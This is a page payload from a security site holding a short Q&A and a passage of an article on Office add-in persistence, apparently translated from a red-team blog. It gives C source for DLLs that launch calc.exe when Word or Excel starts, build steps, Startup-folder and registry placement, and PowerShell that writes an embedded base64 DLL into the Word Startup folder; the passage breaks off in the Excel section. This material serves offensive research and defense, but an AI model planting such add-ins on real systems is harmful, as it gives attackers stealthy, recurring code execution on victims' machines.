[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fJnFajiCzJItI0lfdjAJomYiiMZ7SYWSKyVCuELlanCM":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":51,"_status":50},432,"What is a WLL file and how can it be used for persistence in Microsoft Word?","A WLL file is simply a renamed DLL that is placed in the Word Startup folder (`%APPDATA%\\Microsoft\\Word\\Startup`). When Word launches, it automatically loads any WLL files in that folder, executing their code. An attacker can create a DLL that runs a payload (e.g., calc.exe or a reverse shell) in its `DLL_PROCESS_ATTACH` handler, achieving persistence every time Word starts. For more details, see [Use Office to maintain persistence](\u002Fnews\u002Fuse-office-to-maintain-persistence).","\u003Cp>A WLL file is simply a renamed DLL that is placed in the Word Startup folder (`%APPDATA%\\Microsoft\\Word\\Startup`). When Word launches, it automatically loads any WLL files in that folder, executing their code. An attacker can create a DLL that runs a payload (e.g., calc.exe or a reverse shell) in its `DLL_PROCESS_ATTACH` handler, achieving persistence every time Word starts. For more details, see [Use Office to maintain persistence](\u002Fnews\u002Fuse-office-to-maintain-persistence).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fuse-office-to-maintain-persistence\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","what-is-a-wll-file-and-how-can-it-be-used-for-persistence-in-microsoft-word-1777483568055","WLL, Word Startup folder, DLL persistence, Office backdoor",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},109,"Use Office to maintain persistence","use-office-to-maintain-persistence","Explore four stealthy Office backdoor methods for Word, Excel, and PowerPoint, with a PowerShell POC script for automation, advantages comparison, and defense strategies.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>On the Windows platform, Microsoft Office has a very high adoption rate. From an attacker's perspective, it is common to choose to implant backdoors in Office software.\u003C\u002Fp>\u003Cp>I came across a blog post detailing various methods for exploiting Office backdoors. I researched and tested these methods, selected the more universal and stealthy ones, and wrote a POC script to automate the exploitation.\u003C\u002Fp>\u003Cp>\u003Cstrong>Blog post URL:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>https:\u002F\u002Flabs.mwrinfosecurity.com\u002Fblog\u002Fadd-in-opportunities-for-office-persistence\u002F\u003C\u002Fp>\u003Cp>Author: William Knowles@william_knows\u003C\u002Fp>\u003Cp>\u003Cstrong>POC:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch2>0x01 Overview\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Four backdoor exploitation methods for Word, Excel, and PowerPoint\u003C\u002Fli>\u003Cli>Writing a PowerShell script to automate the exploitation\u003C\u002Fli>\u003Cli>Compare advantages and disadvantages, analyze defense methods\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Word WLL\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Manual testing\u003C\u002Fh3>\u003Cp>Development tool: VC6.0\u003C\u002Fp>\u003Cp>Create a new DLL project, the code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>BOOL APIENTRY DllMain( HANDLE hModule,\u003Cbr>                       DWORD  ul_reason_for_call,\u003Cbr>                       LPVOID lpReserved\u003Cbr>                     )\u003Cbr>{\u003Cbr>    switch (ul_reason_for_call)\u003Cbr>    {\u003Cbr>        case DLL_PROCESS_ATTACH:\u003Cbr>            MessageBox(NULL,\"hello world，I'm 3kb\",\"title\",MB_OK);\u003Cbr>\t\tcase DLL_THREAD_ATTACH:\u003Cbr>\t\tcase DLL_THREAD_DETACH:\u003Cbr>\t\tcase DLL_PROCESS_DETACH:\u003Cbr>\t\t\tbreak;\u003Cbr>    }return TRUE;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile into msg.dll, apply the following settings to reduce the compiled file size:\u003C\u002Fp>\u003Cul>\u003Cli>Build: release\u003C\u002Fli>\u003Cli>Add code: #pragma comment(linker,\"\u002FOPT:nowin98\")\u003C\u002Fli>\u003Cli>Project Settings -> Win32 Release -> C\u002FC++ -> Code Generation -> Use run-time library: -> Multithreaded DLL\u003C\u002Fli>\u003C\u002Ful>\u003Cp>After optimization, the dll size is 3kb\u003C\u002Fp>\u003Cp>Rename to msg.wll, save to the following path:\u003C\u002Fp>\u003Cp>C:\\Users\\a\\AppData\\Roaming\\Microsoft\\Word\\Startup\u003C\u002Fp>\u003Cp>Launch Word.exe, a dialog box pops up, the interface freezes, Word cannot run normally; after closing the pop-up dialog, Word starts normally\u003C\u002Fp>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017276519_0_6f8a9bd8b2.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The DLL generated by Metasploit's msfvenom will cause the Word program to crash\u003C\u002Fp>\u003Cp>Modify the C code to implement launching the calculator, the code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>BOOL APIENTRY DllMain( HANDLE hModule, \u003Cbr>                       DWORD  ul_reason_for_call, \u003Cbr>                       LPVOID lpReserved\u003Cbr>\t\t\t\t\t )\u003Cbr>{\u003Cbr>    switch (ul_reason_for_call)\u003Cbr>\t{\u003Cbr>\t\tcase DLL_PROCESS_ATTACH:\u003Cbr>\t\t\tWinExec(\"calc.exe\",SW_SHOWNORMAL);\u003Cbr>\t\tcase DLL_THREAD_ATTACH:\u003Cbr>\t\tcase DLL_THREAD_DETACH:\u003Cbr>\t\tcase DLL_PROCESS_DETACH:\u003Cbr>\t\t\tbreak;\u003Cbr>    }return TRUE;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compiled into calc.dll, optimized size is 3KB\u003C\u002Fp>\u003Cp>Rename to calc.wll, save in path C:\\Users\\a\\AppData\\Roaming\\Microsoft\\Word\\Startup\u003C\u002Fp>\u003Cp>Launch Word.exe, calculator pops up, and Word starts normally\u003C\u002Fp>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017303978_1_7a1b0f2ee0.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Startup path can store multiple wll files, supports launching multiple wlls\u003C\u002Fp>\u003Ch3>2. Implement with PowerShell script\u003C\u002Fh3>\u003Cp>PowerShell code corresponding to wll path:\u003C\u002Fp>\u003Cp>$env:APPDATA+\"\\Microsoft\\Word\\Startup\\calc.wll\"\u003C\u002Fp>\u003Cp>Base64 encode the compiled 3KB calc.dll and store in variable:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$fileContent = [System.IO.File]::ReadAllBytes('calc.dll')\u003Cbr>$fileContentEncoded = [System.Convert]::ToBase64String($fileContent) | set-content (\"calcdllbase64.txt\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Obtained\u003C\u002Fp>\u003Cp>TVqQAAMAAAAEAAAA\u002F\u002F8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC1TSnZ8SxHivEsR4rxLEeKGTNNivUsR4oZM0OK8yxHivEsRor2LEeKkzNUivIsR4oZM0yK8yxHilJpY2jxLEeKAAAAAAAAAABQRQAATAEEAH4YaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAMYAAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAItEJAhIdQ1qAWgQMAAQ\u002FxUAIAAQuAEAAADCDACQkJCQi0QkCIXAdQ45BRwwABB+Lv8NHDAAEIsNFCAAEIP4AYsJiQ0gMAAQdT9ogAAAAP8VECAAEIXAWaMoMAAQdQQzwOtmgyAAoSgwABBoBDAAEGgAMAAQoyQwABDo6gAAAP8FHDAAEFlZ6z2FwHU5oSgwABCFwHQwiw0kMAAQVo1x\u002FDvwchKLDoXJdAf\u002F0aEoMAAQg+4E6+pQ\u002FxUIIAAQgyUoMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9HDAAEADrJoP+AXQFg\u002F4CdSKhLDAAEIXAdAlXVlP\u002F0IXAdAxXVlPoFf\u002F\u002F\u002F4XAdQQzwOtOV1ZT6OX+\u002F\u002F+D\u002FgGJRQx1DIXAdTdXUFPo8f7\u002F\u002F4X2dAWD\u002FgN1JldWU+jg\u002Fv\u002F\u002FhcB1AyFFDIN9DAB0EaEsMAAQhcB0CFdWU\u002F\u002FQiUUMi0UMX15bXcIMAP8lDCAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdCAAAAAAAACMIAAAlCAAAKAgAACqIAAAAAAAAFggAAAAAAAAAAAAAH4gAAAAIAAAYCAAAAAAAAAAAAAAuiAAAAggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHQgAAAAAAAAjCAAAJQgAACgIAAAqiAAAAAAAADTAldpbkV4ZWMAS0VSTkVMMzIuZGxsAABeAmZyZWUAAA8BX2luaXR0ZXJtAJECbWFsbG9jAACdAF9hZGp1c3RfZmRpdgAATVNWQ1JULmRsbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAACjAQMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u003C\u002Fp>\u003Cp>Store the base64-encoded calc.dll in variable $fileContent\u003C\u002Fp>\u003Cp>The code to base64 decode and release calc.wll to the Startup path is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$fileContent = \"TVqQAAMAAAAEAAAA\u002F\u002F8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC1TSnZ8SxHivEsR4rxLEeKGTNNivUsR4oZM0OK8yxHivEsRor2LEeKkzNUivIsR4oZM0yK8yxHilJpY2jxLEeKAAAAAAAAAABQRQAATAEEAH4YaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAMYAAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAItEJAhIdQ1qAWgQMAAQ\u002FxUAIAAQuAEAAADCDACQkJCQi0QkCIXAdQ45BRwwABB+Lv8NHDAAEIsNFCAAEIP4AYsJiQ0gMAAQdT9ogAAAAP8VECAAEIXAWaMoMAAQdQQzwOtmgyAAoSgwABBoBDAAEGgAMAAQoyQwABDo6gAAAP8FHDAAEFlZ6z2FwHU5oSgwABCFwHQwiw0kMAAQVo1x\u002FDvwchKLDoXJdAf\u002F0aEoMAAQg+4E6+pQ\u002FxUIIAAQgyUoMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9HDAAEADrJoP+AXQFg\u002F4CdSKhLDAAEIXAdAlXVlP\u002F0IXAdAxXVlPoFf\u002F\u002F\u002F4XAdQQzwOtOV1ZT6OX+\u002F\u002F+D\u002FgGJRQx1DIXAdTdXUFPo8f7\u002F\u002F4X2dAWD\u002FgN1JldWU+jg\u002Fv\u002F\u002FhcB1AyFFDIN9DAB0EaEsMAAQhcB0CFdWU\u002F\u002FQiUUMi0UMX15bXcIMAP8lDCAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdCAAAAAAAACMIAAAlCAAAKAgAACqIAAAAAAAAFggAAAAAAAAAAAAAH4gAAAAIAAAYCAAAAAAAAAAAAAAuiAAAAggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHQgAAAAAAAAjCAAAJQgAACgIAAAqiAAAAAAAADTAldpbkV4ZWMAS0VSTkVMMzIuZGxsAABeAmZyZWUAAA8BX2luaXR0ZXJtAJECbWFsbG9jAACdAF9hZGp1c3RfZmRpdgAATVNWQ1JULmRsbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAACjAQMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\u003Cbr>$fileContentBytes = [System.Convert]::FromBase64String($fileContent)\u003Cbr>[System.IO.File]::WriteAllBytes($env:APPDATA+\"\\Microsoft\\Word\\Startup\\calc.wll\",$fileContentBytes)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After running the above code, calc.wll is generated in C:\\Users\\a\\AppData\\Roaming\\Microsoft\\Word\\Startup\\, and when word.exe is launched, the calculator pops up.\u003C\u002Fp>\u003Ch2>0x03 Excel XLL\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Manual Testing\u003C\u002Fh3>\u003Cp>Create a new DLL project, add the export function xlAutoOpen, with the specific code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>void xlAutoOpen()\u003Cbr>{\u003Cbr>    WinExec(\"calc.exe\", SW_SHOWNORMAL);\u003Cbr>}\u003Cbr>\u003Cbr>BOOL APIENTRY DllMain(HANDLE hModule,\u003Cbr>                       DWORD ul_reason_for_call,\u003Cbr>                       LPVOID lpReserved\u003Cbr>                     )\u003Cbr>{\u003Cbr>    switch (ul_reason_for_call)\u003Cbr>    {\u003Cbr>        case DLL_PROCESS_ATTACH:\u003Cbr>\t\t\t\u003Cbr>        case DLL_THREAD_ATTACH:\u003Cbr>        case DLL_THREAD_DETACH:\u003Cbr>        case DLL_PROCESS_DETACH:\u003Cbr>            break;\u003Cbr>    }\u003Cbr>    return TRUE;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Add file, set type: Text File\u003C\u002Fp>\u003Cp>Name: Project same name file.def\u003C\u002Fp>\u003Cp>Write:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>EXPORTS\u003Cbr>xlAutoOpen\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile into calc2.dll, export function as xlAutoOpen(), optimized size 3kb\u003C\u002Fp>\u003Cp>Rename to calc.xll, save path as follows:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\AddIns\u003C\u002Fp>\u003Cp>Find registry key value:\u003C\u002Fp>\u003Cp>Key value for Office2010:\u003C\u002Fp>\u003Cp>HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\14.0\\Excel\\Options\u003C\u002Fp>\u003Cp>Key value for Office2013:\u003C\u002Fp>\u003Cp>HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Options\u003C\u002Fp>\u003Cp>Create new string value: OPEN: \u002FR calc.xll\u003C\u002Fp>\u003Cp>Launch Excel.exe, calculator pops up, and Excel starts normally\u003C\u002Fp>\u003Ch3>2. Write a PowerShell script to implement\u003C\u002Fh3>\u003Cp>Same as above, encrypt calc2.dll as base64 and store in a variable:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$fileContent = [System.IO.File]::ReadAllBytes('calc.xll')\u003Cbr>$fileContentEncoded = [System.Convert]::ToBase64String($fileContent) | Set-Content (\"calcxllbase64.txt\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Obtain\u003C\u002Fp>\u003Cp>TVqQAAMAAAAEAAAA\u002F\u002F8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADVzTnZkaxXipGsV4qRrFeKebNdipWsV4qRrFaKlqxXivOzRIqSrFeKebNcipOsV4p5s1OKkqxXilJpY2iRrFeKAAAAAAAAAABQRQAATAEEAF0ZaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADQIAAARwAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABcBAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAA